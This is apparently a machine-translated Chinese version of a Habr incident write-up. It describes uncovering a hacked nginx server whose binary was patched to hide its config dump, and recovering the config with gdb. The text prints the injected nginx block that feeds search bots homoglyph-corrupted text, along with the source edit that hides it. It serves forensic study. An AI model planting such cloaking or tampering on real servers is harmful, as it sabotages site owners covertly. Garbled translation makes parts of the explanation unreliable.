我认识的一个人遭遇了一件非常不愉快的事情。虽然这件事对米哈伊尔来说很痛苦,但对我来说却同样引人入胜。
我必须说,我的朋友相当不错。 UNIX用户:可以自行安装系统。 MySQL的, PHP 并进行最简单的设置 nginx的.
他还有十几个专门介绍建筑工具的网站。
一个专门介绍电锯的网站稳居搜索引擎排名榜首。该网站是一个非商业性的评测网站,但有人对此感到不满,并开始对其进行攻击。 DDoS攻击然后他们进行暴力破解,然后写淫秽评论,并向主机提供商和 RKN 发送辱骂信息。
突然间,一切都安静了下来,而这种平静最终证明并非好事,该网站开始逐渐从搜索结果的顶部消失。

那只是一句谚语,然后是管理员本身的故事。
快到睡觉时间的时候,我的手机响了:“桑亚,你能帮我查一下服务器吗?我觉得我的服务器被黑了。我没有证据,但这种感觉已经持续三个星期了。也许我该去看看医生,治治我的妄想症了?”
接下来的半小时讨论可以概括如下:
- 黑客入侵的土壤非常肥沃;
- 黑客可能获得超级用户权限;
- 如果袭击发生,那么这次袭击是有针对性的,并且专门针对这个地点;
- 问题区域已得到纠正,现在只需要弄清楚是否存在渗透的事实;
- 这次黑客攻击未能影响网站的代码和数据库。
关于最后一点。

只有前端的公网 IP 地址对外公开。后端和前端之间除了 HTTP(S) 协议外没有其他通信,用户名和密码也不同,密钥也不会交换。私有地址上,除了 80/443 端口外,所有端口都已关闭。后端的公网 IP 地址只有 Mikhail 完全信任的两位用户知道。
安装在前端 Debian 9 当呼叫发出时,系统已被外部防火墙与外界隔离并停止运行。
“好吧,给我权限,”我决定推迟一个小时睡觉。“我要亲眼看看。”
从这里开始:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
寻找可能的黑客攻击
我正在启动服务器,首先是 救援模式我把光盘放上去,然后滚动浏览。 授权-日志, 历史我会查看系统日志等,尽可能检查文件的创建日期,尽管我知道一个普通的黑客会把所有东西都“扫”一遍,而且米沙在自己搜索的时候已经“破坏”了很多东西。
我先从普通模式开始,还不太清楚该关注什么,所以正在研究配置文件。我最感兴趣的是…… nginx的 因为通常来说,前端除了它之外就没有其他东西了。
配置文件很小,结构清晰,只有十几个文件,我只需要浏览一遍就行了。 猫'轮流来。一切看起来都很干净,但也许我漏掉了什么。 包括我会列出完整清单:
$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
我没听懂:“房源信息在哪里?”
$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
关于列表的问题后面又补充了一个问题:“为什么 nginx 版本这么老旧?”
此外,系统认为已安装的版本较新:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server
我打电话给:
米什,你为什么要重新组装? nginx的?
醒醒吧,我根本不知道该怎么做!
好了,睡觉吧……
Nginx的 服务器肯定已经重建了,“-T”参数的输出被隐藏是有原因的。现在毫无疑问是黑客攻击,所以我们可以接受这个事实,而且(反正Misha已经用新服务器替换了)也认为问题已经解决了。
事实上,一旦有人获得了这些权利 根啊,那么这样做就合情合理了。 系统重装搜寻那里究竟发生了什么恶作剧毫无用处,但这一次好奇心战胜了睡意。我们该如何才能弄清楚他们想对我们隐瞒什么呢?
我们来尝试追踪:
$ strace nginx -T
我们正在查看跟踪记录,显然缺少一些行,例如
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
为了便于比较,我们来对比一下这些发现。
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
我认为它是代码的一部分。 /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
被带到了以下形式:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
или
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
这就是为什么“-T”的列表没有显示的原因。
但是我们如何查看我们的配置呢?
如果我的想法正确,问题仅仅出在变量上,那么 ngx_dump_config 我们来尝试用以下方式安装它: GDB幸好关键在于 —with-cc-opt -g 已经存在,我们希望优化能够实现。 -氧气 这不会伤害我们。但是,由于我不知道该怎么做 ngx_dump_config 可以进行处理 案例“T”:我们不会给这个模块命名,而是使用以下方式安装它: case 't':
为什么我既可以使用“-t”也可以使用“-T”?块处理 if(ngx_dump_config) 发生在内部 if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "configuration file %s test is successful",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i < cycle->config_dump.nelts; i++) {
ngx_write_stdout("# configuration file ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
当然,如果代码是在这部分更改的,而不是在另一部分更改的。 案例“T”:那么我的方法就行不通了。
测试 nginx.conf通过经验,我们已经解决了这个问题,并确定恶意软件运行只需要最小配置。 nginx的 类型:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
为了简洁起见,我们将在文章中使用它。
让我们启动调试器
$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188 src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) exited normally]
(gdb) quit
步骤:
- 在函数中设置断点 主()
- 我们启动了该计划
- 我们更改决定配置输出的变量的值 ngx_dump_config=1
- 继续/完成该程序
正如我们所见,实际配置与我们的配置有所不同。让我们从中提取出寄生部分:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
让我们按顺序来看看这里发生了什么。
正在确定 用户代理'ы yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
服务页面除外 WordPress的:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
对于符合上述两种条件的人来说
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
在文中 HTML页面正在更改 “O” 上 'o' и '一个' 上 '一种':
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
没错,唯一的微妙之处在于…… 'a' != 'a' 以及 'o' != 'o':

因此,搜索引擎机器人收到的不是正常的 100% 西里尔字母文本,而是掺杂了拉丁字符的修改后的垃圾文本。 '一种' и 'o'我无法推测这会对搜索引擎优化产生什么影响,但这种杂乱无章的字母组合不太可能对搜索结果产生积极影响。
我还能说什么呢,真是些富有想象力的人。
引用
来源: habr.com
